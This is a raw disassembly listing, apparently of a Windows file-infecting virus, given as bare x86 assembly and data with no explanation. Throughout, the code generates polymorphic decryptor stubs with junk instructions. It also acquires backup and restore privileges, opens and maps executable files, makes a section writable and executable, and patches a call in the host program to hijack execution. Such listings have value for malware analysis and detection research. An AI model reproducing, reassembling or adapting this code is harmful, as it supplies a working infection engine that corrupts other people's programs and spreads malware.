8BC3C933h dd 8093h, 0EDE85200h, 3FFFFFEh, 1042F895h, 83D60300h, 0F000C7Ah dd 10784h, 107A8300h, 0FD840F00h, 8B000000h, 0E8500C42h dd 0FFFFFEC8h, 42F88503h, 0C6030010h, 80088A50h, 197400F9h dd 742EF980h, 0F1EB4003h, 8101488Bh, 0DFDFDFE1h, 44F981DFh dd 75004C4Ch, 0C82B59ECh, 0FFAF983h, 0B78Fh, 78816600h dd 0F3233FEh, 0AB85h, 3A835600h, 8B057500h, 2EB104Ah, 0F1030A8Bh dd 0FE72E851h, 0B503FFFFh, 1042F8h, 78C085ADh, 84840FFBh dd 0FF000000h, 1042F8B5h, 55E85000h, 3FFFFFEh, 1042F885h dd 0F8858F00h, 3001042h, 83532404h, 0DB3302C0h, 0E308B60Fh dd 20C98012h, 2424C153h, 241C2904h, 5B240C29h, 81E9EB40h dd 0BBD70FFBh, 813E74DDh, 6E45A8FBh, 813674DBh, 0A13B59FBh dd 812E74FFh, 0B522D6FBh, 812674ACh, 58E993FBh, 811E74F3h dd 58E97DFBh, 811674F3h, 253F46FBh, 810E74E1h, 253F30FBh dd 0FF0674E1h, 1042D495h, 71E95B00h, 5EFFFFFFh, 0E914C283h dd 0FFFFFEEFh, 46A03C3h, 0F549E858h, 9588FFFFh, 102641h dd 1831B866h, 0E4C0E202h, 66E20203h, 58066AABh, 0FFF52EE8h dd 8C283FFh, 56AD187h, 0F521E858h, 0FA80FFFFh, 0B00B7303h dd 41850250h, 0AA001026h, 686A27EBh, 0FA80AA58h, 0B0187503h dd 0F501E811h, 1B8FFFFh, 84000000h, 0D10D74D2h, 0EBCAFEE0h dd 0B805EBF6h, 80000000h, 0C3BFE2ABh, 39CC958Dh, 0D72B0010h dd 0F7C3DAF7h, 1039C085h, 0 ; --------------------------------------------------------------------------- adc [edi], cl xchg eax, ebp rol cl, 0E0h or esi, esi test [esi+1001039h], edi jnz short loc_3144B792 or ax, 2589h jmp short loc_3144B7A5 ; --------------------------------------------------------------------------- loc_3144B792: ; CODE XREF: .ifc_:3144B78Aj test byte ptr [ebp+1039BEh], 2 jnz short loc_3144B7A1 or ax, 2531h jmp short loc_3144B7A5 ; --------------------------------------------------------------------------- loc_3144B7A1: ; CODE XREF: .ifc_:3144B799j or ax, 2501h loc_3144B7A5: ; CODE XREF: .ifc_:3144B790j ; .ifc_:3144B79Fj stosw call near ptr dword_3144B4CC+29Ch mov eax, [ebx+34h] mov [ebp+1042E8h], edx stosd retn ; =============== S U B R O U T I N E ======================================= sub_3144B7B7 proc near ; CODE XREF: .ifc_:3144BE03p test dword ptr [ebp+1039C0h], 10000000h setnz al add al, 0BCh stosb call near ptr dword_3144B4CC+29Ch mov [ebp+1042ECh], edx test byte ptr [ebp+1039BEh], 1 jnz short loc_3144B7DF rdtsc jmp short loc_3144B7E1 ; --------------------------------------------------------------------------- loc_3144B7DF: ; CODE XREF: sub_3144B7B7+22j sub eax, eax loc_3144B7E1: ; CODE XREF: sub_3144B7B7+26j stosd retn sub_3144B7B7 endp ; =============== S U B R O U T I N E ======================================= sub_3144B7E3 proc near ; CODE XREF: .ifc_:loc_3144BE0Dp test dword ptr [ebp+1039C0h], 10000000h jz short loc_3144B816 mov al, [ebp+1039BAh] shl eax, 0Bh or ax, 458Bh stosw mov al, 0F8h stosb mov al, [ebp+1039BAh] shl eax, 1Bh add eax, 6896467h stosd xor eax, eax stosw jmp short locret_3144B828 ; --------------------------------------------------------------------------- loc_3144B816: ; CODE XREF: sub_3144B7E3+Aj mov eax, 58F64h stosd mov al, [ebp+1039BAh] add al, 58h shl eax, 18h stosd locret_3144B828: ; CODE XREF: sub_3144B7E3+31j retn sub_3144B7E3 endp ; =============== S U B R O U T I N E ======================================= sub_3144B829 proc near ; CODE XREF: sub_3144B89B:loc_3144B8C2p ; sub_3144B89B+4Cp ... mov byte ptr [ebp+10279Ch], 9 jmp short loc_3144B857 ; --------------------------------------------------------------------------- loc_3144B832: ; CODE XREF: sub_3144B829+44j mov al, 0FCh jmp short loc_3144B856 ; --------------------------------------------------------------------------- loc_3144B836: ; CODE XREF: sub_3144B829+48j mov ax, 0EBh stosw jmp short loc_3144B857 ; --------------------------------------------------------------------------- loc_3144B83E: ; CODE XREF: sub_3144B829+4Cj push 4 pop eax call near ptr dword_3144AC0C+43h lea eax, [edx+edx*8] shl eax, 8 add ax, 0C089h stosw jmp short loc_3144B857 ; --------------------------------------------------------------------------- loc_3144B854: ; CODE XREF: sub_3144B829+50j mov al, 90h loc_3144B856: ; CODE XREF: sub_3144B829+Bj ; sub_3144B829+60j ... stosb loc_3144B857: ; CODE XREF: sub_3144B829+7j ; sub_3144B829+13j ... push 1Bh pop eax call near ptr dword_3144AC0C+43h add byte ptr [ebp+10279Ch], 6 cmp dl, 8 jnb short locret_3144B89A test dl, dl jz short loc_3144B832 dec dl jz short loc_3144B836 dec dl jz short loc_3144B83E dec dl jz short loc_3144B854 dec dl jz short loc_3144B88B dec dl jz short loc_3144B892 dec dl jz short loc_3144B896 mov al, 0F9h jmp short loc_3144B856 ; --------------------------------------------------------------------------- loc_3144B88B: ; CODE XREF: sub_3144B829+54j mov al, 87h stosb mov al, 0DBh jmp short loc_3144B856 ; --------------------------------------------------------------------------- loc_3144B892: ; CODE XREF: sub_3144B829+58j mov al, 0F5h jmp short loc_3144B856 ; --------------------------------------------------------------------------- loc_3144B896: ; CODE XREF: sub_3144B829+5Cj mov al, 0F8h jmp short loc_3144B856 ; --------------------------------------------------------------------------- locret_3144B89A: ; CODE XREF: sub_3144B829+40j retn sub_3144B829 endp ; =============== S U B R O U T I N E ======================================= sub_3144B89B proc near ; CODE XREF: .ifc_:loc_3144BCE4p ; .ifc_:3144BE97p test dword ptr [ebp+1039C0h], 2000h mov al, 86h jnz short loc_3144B8AB add al, 4 loc_3144B8AB: ; CODE XREF: sub_3144B89B+Cj lea ecx, [edi-2] mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short loc_3144B8C2 mov al, 0 or byte ptr [edi-1], 40h stosb loc_3144B8C2: ; CODE XREF: sub_3144B89B+1Ej call sub_3144B829 test dword ptr [ebp+1039C0h], 4000h mov ax, 3166h jnz short loc_3144B8D9 mov ah, 29h loc_3144B8D9: ; CODE XREF: sub_3144B89B+3Aj stosw mov al, 18h or al, [ebp+1039BAh] shl al, 3 stosb call sub_3144B829 mov al, 88h test dword ptr [ebp+1039C0h], 8000h jnz short loc_3144B8FC mov al, 86h loc_3144B8FC: ; CODE XREF: sub_3144B89B+5Dj mov ah, [ebp+1039B8h] stosw cmp ah, 5 jnz short locret_3144B910 mov al, 0 or byte ptr [edi-1], 40h stosb locret_3144B910: ; CODE XREF: sub_3144B89B+6Cj retn sub_3144B89B endp ; --------------------------------------------------------------------------- loc_3144B911: ; CODE XREF: sub_3144C517+183p lea edi, [ebp+1039CCh] call sub_3144B829 test dword ptr [ebp+1039C0h], 400000h jz short near ptr unk_3144B92B mov al, 60h stosb ; --------------------------------------------------------------------------- unk_3144B92B db 0F7h ; ; CODE XREF: .ifc_:3144B926j db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- adc [edi+eax-48h], dh push ebp mov ebp, esp add [ebx-3F7A08B1h], ch cmp [eax], edx add [ebx], al ; --------------------------------------------------------------------------- db 2 dup(0), 2 dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h dd 1039C085h, 300h, 0F6137400h, 1039BE85h, 0A748000h, 0FFFDAAE8h dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh, 0FD4BE8ABh dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh dd 1039BAh, 4C0048Dh, 8E0C140h, 0AB668DB0h, 57AA01B0h dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0 dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh, 1039B8h dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h, 42C8BD89h dd 0F7AB0010h, 1039C085h, 0 ; --------------------------------------------------------------------------- inc eax jnz short loc_3144BBBC mov al, 50h add al, [ebp+1039B8h] stosb loc_3144BBBC: ; CODE XREF: .ifc_:3144BBB1j test dword ptr [ebp+1039C0h], 80h jnz short loc_3144BBD3 mov al, 0B8h or al, [ebp+1039B9h] stosb jmp short loc_3144BC10 ; --------------------------------------------------------------------------- loc_3144BBD3: ; CODE XREF: .ifc_:3144BBC6j mov ax, 1831h test dword ptr [ebp+1039C0h], 100h jz short loc_3144BBE5 mov al, 29h loc_3144BBE5: ; CODE XREF: .ifc_:3144BBE1j or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw mov ax, 0F081h test dword ptr [ebp+1039C0h], 200h jnz short loc_3144BC08 mov ah, 0C8h loc_3144BC08: ; CODE XREF: .ifc_:3144BC04j or ah, [ebp+1039B9h] stosw loc_3144BC10: ; CODE XREF: .ifc_:3144BBD1j mov [ebp+1042E4h], edi mov eax, 29CCh stosd test dword ptr [ebp+1039C0h], 8 jz short loc_3144BC99 call sub_3144B829 test dword ptr [ebp+1039C0h], 400h jnz short loc_3144BC44 mov al, 0B8h or al, [ebp+1039BAh] stosb jmp short loc_3144BC91 ; --------------------------------------------------------------------------- loc_3144BC44: ; CODE XREF: .ifc_:3144BC37j test dword ptr [ebp+1039C0h], 800h jnz short loc_3144BC61 mov ax, 0E083h or ah, [ebp+1039BAh] stosw xor eax, eax stosb jmp short loc_3144BC76 ; --------------------------------------------------------------------------- loc_3144BC61: ; CODE XREF: .ifc_:3144BC4Ej mov ax, 1829h or ah, [ebp+1039BAh] shl ah, 3 or ah, [ebp+1039BAh] stosw loc_3144BC76: ; CODE XREF: .ifc_:3144BC5Fj test dword ptr [ebp+1039C0h], 1000h mov ax, 0C081h jz short loc_3144BC89 add ah, 8 loc_3144BC89: ; CODE XREF: .ifc_:3144BC84j or ah, [ebp+1039BAh] stosw loc_3144BC91: ; CODE XREF: .ifc_:3144BC42j movzx eax, byte ptr [ebp+1039BEh] stosd loc_3144BC99: ; CODE XREF: .ifc_:3144BC26j call sub_3144B829 test dword ptr [ebp+1039C0h], 40000000h jz short loc_3144BCB8 mov al, 50h add al, [ebp+1039B8h] stosb call sub_3144B829 loc_3144BCB8: ; CODE XREF: .ifc_:3144BCA8j lea ecx, [edi-2] mov [ebp+1042CCh], ecx test dword ptr [ebp+1039C0h], 80000000h jz short loc_3144BCE4 mov al, 0E8h stosb mov eax, [ebp+1042F0h] sub eax, edi sub eax, 4 stosd mov [ebp+1042F0h], edi jmp short loc_3144BCE9 ; --------------------------------------------------------------------------- loc_3144BCE4: ; CODE XREF: .ifc_:3144BCCBj call sub_3144B89B loc_3144BCE9: ; CODE XREF: .ifc_:3144BCE2j call sub_3144B829 test dword ptr [ebp+1039C0h], 10000h jnz short loc_3144BD05 mov al, 40h or al, [ebp+1039B8h] stosb jmp short loc_3144BD14 ; --------------------------------------------------------------------------- loc_3144BD05: ; CODE XREF: .ifc_:3144BCF8j mov ax, 0C083h or ah, [ebp+1039B8h] stosw mov al, 1 stosb loc_3144BD14: ; CODE XREF: .ifc_:3144BD03j test dword ptr [ebp+1039C0h], 20000h jnz short loc_3144BD4F test dword ptr [ebp+1039C0h], 40000h jnz short loc_3144BD46 mov al, 0C0h or al, [ebp+1039BAh] mov ah, [ebp+1039BFh] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_3144BD4E ; --------------------------------------------------------------------------- loc_3144BD46: ; CODE XREF: .ifc_:3144BD2Aj mov al, 40h or al, [ebp+1039BAh] loc_3144BD4E: ; CODE XREF: .ifc_:3144BD44j stosb loc_3144BD4F: ; CODE XREF: .ifc_:3144BD1Ej test dword ptr [ebp+1039C0h], 80000h jnz short loc_3144BD6B mov ax, 0E883h or ah, [ebp+1039B9h] stosw mov al, 1 jmp short loc_3144BD73 ; --------------------------------------------------------------------------- loc_3144BD6B: ; CODE XREF: .ifc_:3144BD59j mov al, 48h or al, [ebp+1039B9h] loc_3144BD73: ; CODE XREF: .ifc_:3144BD69j stosb call sub_3144B829 test dword ptr [ebp+1039C0h], 100000h mov cl, 75h jnz short loc_3144BDAC mov ax, 0F883h or ah, [ebp+1039B9h] stosw xor eax, eax stosb sub [ebp+1042CCh], edi test dword ptr [ebp+1039C0h], 200000h jnz short loc_3144BDC7 mov cl, 77h jmp short loc_3144BDC7 ; --------------------------------------------------------------------------- loc_3144BDAC: ; CODE XREF: .ifc_:3144BD85j mov ax, 1809h or ah, [ebp+1039B9h] shl ah, 3 or ah, [ebp+1039B9h] stosw sub [ebp+1042CCh], edi loc_3144BDC7: ; CODE XREF: .ifc_:3144BDA6j ; .ifc_:3144BDAAj mov al, cl mov ah, [ebp+1042CCh] stosw mov al, 58h add al, [ebp+1039B8h] stosb call sub_3144B829 test dword ptr [ebp+1039C0h], 2000003h jz short loc_3144BE17 test dword ptr [ebp+1039C0h], 8000000h jnz short loc_3144BE17 test dword ptr [ebp+1039C0h], 6000000h jnz short loc_3144BE0D call sub_3144B7B7 call sub_3144B829 loc_3144BE0D: ; CODE XREF: .ifc_:3144BE01j call sub_3144B7E3 call sub_3144B829 loc_3144BE17: ; CODE XREF: .ifc_:3144BDE9j ; .ifc_:3144BDF5j test dword ptr [ebp+1039C0h], 10000000h jz short loc_3144BE2B mov al, 0C9h stosb call sub_3144B829 loc_3144BE2B: ; CODE XREF: .ifc_:3144BE21j test dword ptr [ebp+1039C0h], 400000h jz short loc_3144BE61 mov al, 7 sub al, [ebp+1039B8h] shl eax, 1Ah or eax, 240889h add ah, [ebp+1039B8h] shl ah, 3 add ah, 4 stosd call sub_3144B829 mov al, 61h stosb call sub_3144B829 loc_3144BE61: ; CODE XREF: .ifc_:3144BE35j mov ax, 0E0FFh or ah, [ebp+1039B8h] stosw call sub_3144B829 test dword ptr [ebp+1039C0h], 20h jz short loc_3144BEED test dword ptr [ebp+1039C0h], 80000000h jz short loc_3144BEA9 mov eax, edi mov ecx, [ebp+1042F0h] sub eax, ecx mov [ecx-4], eax call sub_3144B89B call sub_3144B829 mov al, 0C3h stosb call sub_3144B829 loc_3144BEA9: ; CODE XREF: .ifc_:3144BE88j mov eax, edi mov ecx, [ebp+1042C4h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+1039B8h] stosb call sub_3144B829 test dword ptr [ebp+1039C0h], 800000h jz short loc_3144BEDC mov ax, 0C350h or al, [ebp+1039B8h] jmp short loc_3144BEE6 ; --------------------------------------------------------------------------- loc_3144BEDC: ; CODE XREF: .ifc_:3144BECEj mov ax, 0E0FFh or ah, [ebp+1039B8h] loc_3144BEE6: ; CODE XREF: .ifc_:3144BEDAj stosw call sub_3144B829 loc_3144BEED: ; CODE XREF: .ifc_:3144BE7Cj test dword ptr [ebp+1039C0h], 2000003h jz short loc_3144BF58 mov ecx, edi mov eax, [ebp+1042DCh] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+1039C0h], 1000000h jnz short loc_3144BF22 lea eax, [ebp+1039B8h] loc_3144BF1A: ; CODE XREF: .ifc_:3144BF20j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_3144BF1A loc_3144BF22: ; CODE XREF: .ifc_:3144BF12j lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_3144BF37 mov ax, 0C031h stosw loc_3144BF37: ; CODE XREF: .ifc_:3144BF2Fj mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_3144BF50 mov ax, 0C031h stosw loc_3144BF50: ; CODE XREF: .ifc_:3144BF48j mov al, 0C3h stosb call sub_3144B829 loc_3144BF58: ; CODE XREF: .ifc_:3144BEF7j lea eax, [ebp+1039CCh] test dword ptr [ebp+1039C0h], 20000000h jnz short loc_3144BF70 push edi sub edi, eax pop eax jmp short loc_3144BF89 ; --------------------------------------------------------------------------- loc_3144BF70: ; CODE XREF: .ifc_:3144BF68j mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_3144BF89: ; CODE XREF: .ifc_:3144BF6Ej mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_3144BFA9 neg eax loc_3144BFA9: ; CODE XREF: .ifc_:3144BFA5j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_3144BFAD proc near ; CODE XREF: sub_3144C517+336p push esi push edi cmp dword ptr [ebp+104300h], 0 jz loc_3144C195 call near ptr loc_3144BFCD+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_3144BFCD: ; CODE XREF: sub_3144BFAD+Fp add bh, bh sub_3144BFAD endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al mov [ebp+104314h], eax push ebx mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call near ptr dword_3144B4CC+4 mov edx, [ebp+1042F4h] pop ebx add eax, [edx+0Ch] mov [ebp+104318h], eax add eax, [edx+8] mov [ebp+10431Ch], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call near ptr dword_3144B4CC+4 mov edi, [ebp+1042F4h] push esi call near ptr dword_3144B4CC+4 mov edx, [ebp+1042F4h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_3144C195 jz loc_3144C195 add esi, [ebp+1042F8h] add esi, [ebp+1042B4h] ; START OF FUNCTION CHUNK FOR sub_3144C166 loc_3144C047: ; CODE XREF: sub_3144C166+29j lodsb cmp al, 0E8h jnz loc_3144C0F2 lea eax, [esi+4] sub eax, [ebp+1042B4h] add eax, [esi] push eax call near ptr dword_3144B4CC+4 cmp dword ptr [ebp+1042F4h], 0 jnz short loc_3144C075 cmp eax, [edi+0Ch] jnb loc_3144C18E jmp short loc_3144C081 ; --------------------------------------------------------------------------- loc_3144C075: ; CODE XREF: sub_3144C166-FEj cmp [ebp+1042F4h], edx jnz loc_3144C18E loc_3144C081: ; CODE XREF: sub_3144C166-F3j add eax, [ebp+1042B4h] cmp word ptr [eax], 25FFh jnz loc_3144C18E mov eax, [eax+2] sub eax, [ebx+34h] push eax call near ptr dword_3144B4CC+4 cmp [ebp+1042F4h], edi jnz loc_3144C18E add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_3144C18E cmp eax, [edi+8] jnb loc_3144C18E loc_3144C0CA: ; CODE XREF: sub_3144C166+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+1042B4h] push edx push eax push dword ptr [ebp+104314h] call dword ptr [ebp+103E6Eh] pop edx test eax, eax jnz loc_3144C1A4 jmp loc_3144C18E ; --------------------------------------------------------------------------- loc_3144C0F2: ; CODE XREF: sub_3144C166-11Cj cmp al, 0FFh jnz loc_3144C18E cmp byte ptr [esi], 15h jnz loc_3144C18E mov eax, [esi+1] sub eax, [ebx+34h] push eax call near ptr dword_3144B4CC+4 cmp [ebp+1042F4h], edi jnz short loc_3144C18E add eax, [ebp+1042F8h] add eax, [ebp+1042B4h] mov [ebp+104320h], eax mov eax, [eax] cmp eax, [ebp+104318h] jb short loc_3144C13B cmp eax, [ebp+10431Ch] jb short loc_3144C1A4 loc_3144C13B: ; CODE XREF: sub_3144C166-35j cmp eax, 70000000h jb short loc_3144C179 call sub_3144C166 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+104320h] jnz short locret_3144C165 add esp, 10h push dword ptr [ecx] pop [esp-8+arg_20] popa jmp short loc_3144C180 ; --------------------------------------------------------------------------- locret_3144C165: ; CODE XREF: sub_3144C166-Fj retn ; END OF FUNCTION CHUNK FOR sub_3144C166 ; =============== S U B R O U T I N E ======================================= sub_3144C166 proc near ; CODE XREF: sub_3144C166-24p var_10 = dword ptr -10h arg_20 = dword ptr 24h ; FUNCTION CHUNK AT 3144C047 SIZE 0000011F BYTES pop dword ptr [ebp+1042D4h] pusha mov esi, [ebp+1042B4h] call near ptr dword_3144B4CC+10Bh popa loc_3144C179: ; CODE XREF: sub_3144C166-26j test eax, 80000000h jnz short loc_3144C18E loc_3144C180: ; CODE XREF: sub_3144C166-3j sub eax, [edi+0Ch] jb short loc_3144C18E cmp eax, [edi+8] jb loc_3144C0CA loc_3144C18E: ; CODE XREF: sub_3144C166-F9j ; sub_3144C166-EBj ... dec ecx jnz loc_3144C047 loc_3144C195: ; CODE XREF: sub_3144BFAD+9j ; .ifc_:3144C02Fj ... mov edi, [esp+0] and dword ptr [edi+29C0h], 0FFBFFFFFh jmp short loc_3144C1E6 ; --------------------------------------------------------------------------- loc_3144C1A4: ; CODE XREF: sub_3144C166-7Fj ; sub_3144C166-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+10h+var_10] xchg eax, [ebp+104300h] mov [ebp+1042FCh], eax lea edi, [ecx+29C4h] add eax, [ebp+1042B4h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+54h], 5 mov [esi-4], eax loc_3144C1E6: ; CODE XREF: sub_3144C166+3Cj pop edi pop esi retn sub_3144C166 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3144C1E9 proc near ; CODE XREF: .ifc_:3144C4EAp ; FUNCTION CHUNK AT 3144C313 SIZE 00000002 BYTES push edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jnz loc_3144C313 push eax push esp push 28h push 0FFFFFFFFh call dword ptr [ebp+103F1Ah] test eax, eax pop edi js loc_3144C313 call sub_3144A66B call near ptr loc_3144C224+5 push ebx db 65h jz short near ptr unk_3144C262 imul ebp, [ebp+53h], 72756365h loc_3144C224: ; CODE XREF: sub_3144C1E9+2Ap imul esi, [ecx+edi*2+41h], 88B5FF00h sub_3144C1E9 endp ; sp-analysis failed inc edx adc [eax], al call dword ptr [ebp+103E6Eh] mov [ebp+104290h], eax call near ptr loc_3144C258+1 push ebx db 65h push esp popa imul esp, [ebp+4Fh], 77h outsb db 65h jb short loc_3144C2BF push 72507069h imul esi, [esi+69h], 6567656Ch loc_3144C258: ; CODE XREF: .ifc_:3144C23Bp add [edi-18h], dl sub eax, ebp ; --------------------------------------------------------------------------- db 0FFh db 0FFh db 0E8h ; db 13h db 0 unk_3144C262 db 0 ; CODE XREF: sub_3144C1E9+30j db 0 db 53h ; S db 65h ; e db 52h ; R db 65h ; e db 73h ; s db 74h ; t db 6Fh ; o db 72h ; r db 65h ; e db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0Bh db 0E8h ; db 0FFh db 0FFh db 0E8h ; db 12h db 0 db 0 db 0 db 53h ; S db 65h ; e db 42h ; B db 61h ; a db 63h ; c db 6Bh ; k db 75h ; u db 70h ; p db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0EEh ; db 0E7h ; db 0FFh db 0FFh db 0E8h ; db 18h db 0 db 0 db 0 db 53h ; S db 65h ; e db 43h ; C db 68h ; h db 61h ; a db 6Eh ; n db 67h ; g db 65h ; e db 4Eh ; N db 6Fh ; o db 74h ; t db 69h ; i db 66h ; f db 79h ; y db 50h ; P db 72h ; r db 69h ; i db 76h ; v db 69h ; i db 6Ch ; l db 65h ; e db 67h ; g db 65h ; e db 0 db 57h ; W db 0E8h ; db 0CBh ; db 0E7h ; db 0FFh db 0FFh db 50h ; P db 54h ; T ; --------------------------------------------------------------------------- loc_3144C2BF: ; CODE XREF: .ifc_:3144C249j lea eax, [ebp+103DCCh] push 64h push eax push 1 push edi call dword ptr [ebp+103F26h] mov [esp], edi call dword ptr [ebp+103E62h] sub al, al lea edi, [ebp+104184h] push eax push eax push eax push dword ptr [ebp+103DCCh] push 40001h push esp push 1 push edi call dword ptr [ebp+104290h] push esp push 4 push edi call dword ptr [ebp+104290h] add esp, 14h push dword ptr [ebp+104288h] call dword ptr [ebp+103E9Eh] ; START OF FUNCTION CHUNK FOR sub_3144C1E9 loc_3144C313: ; CODE XREF: sub_3144C1E9+Aj ; sub_3144C1E9+1Fj pop edi retn ; END OF FUNCTION CHUNK FOR sub_3144C1E9 ; =============== S U B R O U T I N E ======================================= sub_3144C315 proc near ; CODE XREF: .ifc_:3144C4E3p ; .ifc_:3144C4EFp ... lea esi, [ebp+104184h] push esi call dword ptr [ebp+103EA2h] cmp eax, 0FFFFFFFFh jz locret_3144C3E6 mov [ebp+104294h], eax push 0 push esi call dword ptr [ebp+103EDEh] test eax, eax jz locret_3144C3E6 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+103E7Eh] cmp eax, 0FFFFFFFFh jz loc_3144C967 mov [ebp+104298h], eax lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push eax call dword ptr [ebp+103EAAh] cmp eax, 0FFFFFFFFh jz loc_3144C95B push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EA6h] cmp eax, 0FFFFFFFFh jz loc_3144C95B mov [ebp+1042ACh], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+104298h] call dword ptr [ebp+103E82h] test eax, eax jz loc_3144C95B xor ecx, ecx mov [ebp+1042B0h], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+103ECAh] test eax, eax jz loc_3144C933 mov [ebp+1042B4h], eax locret_3144C3E6: ; CODE XREF: sub_3144C315+10j ; sub_3144C315+27j ... retn sub_3144C315 endp ; --------------------------------------------------------------------------- loc_3144C3E7: ; CODE XREF: sub_3144C517+188p ; sub_3144C517+2A0p mov eax, 7327h mov ecx, [ebx+38h] ; --------------------------------------------------------------------------- db 0F7h ; db 85h ; db 0C0h ; db 39h ; 9 db 10h db 0 db 0 db 0 db 0 ; --------------------------------------------------------------------------- and [ebp+6], dh add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042C0h], eax mov eax, 29CBh mov ecx, [ebx+3Ch] add eax, [ebp+101069h] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+1042B8h], eax retn ; =============== S U B R O U T I N E ======================================= sub_3144C42C proc near ; CODE XREF: sub_3144C517:loc_3144C58Cp ; sub_3144C517+1B4p movzx ecx, word ptr [ebx+6] stc loc_3144C431: ; CODE XREF: sub_3144C42C+23j jecxz short locret_3144C468 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_3144C468 cmp dword ptr [edx+0Ch], 1 jb short loc_3144C431 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+1042ACh] locret_3144C468: ; CODE XREF: sub_3144C42C:loc_3144C431j ; sub_3144C42C+1Dj ... retn sub_3144C42C endp ; =============== S U B R O U T I N E ======================================= sub_3144C469 proc near ; CODE XREF: .ifc_:3144C501p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3144C469 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3144C476: ; CODE XREF: .ifc_:3144C497j mov ecx, 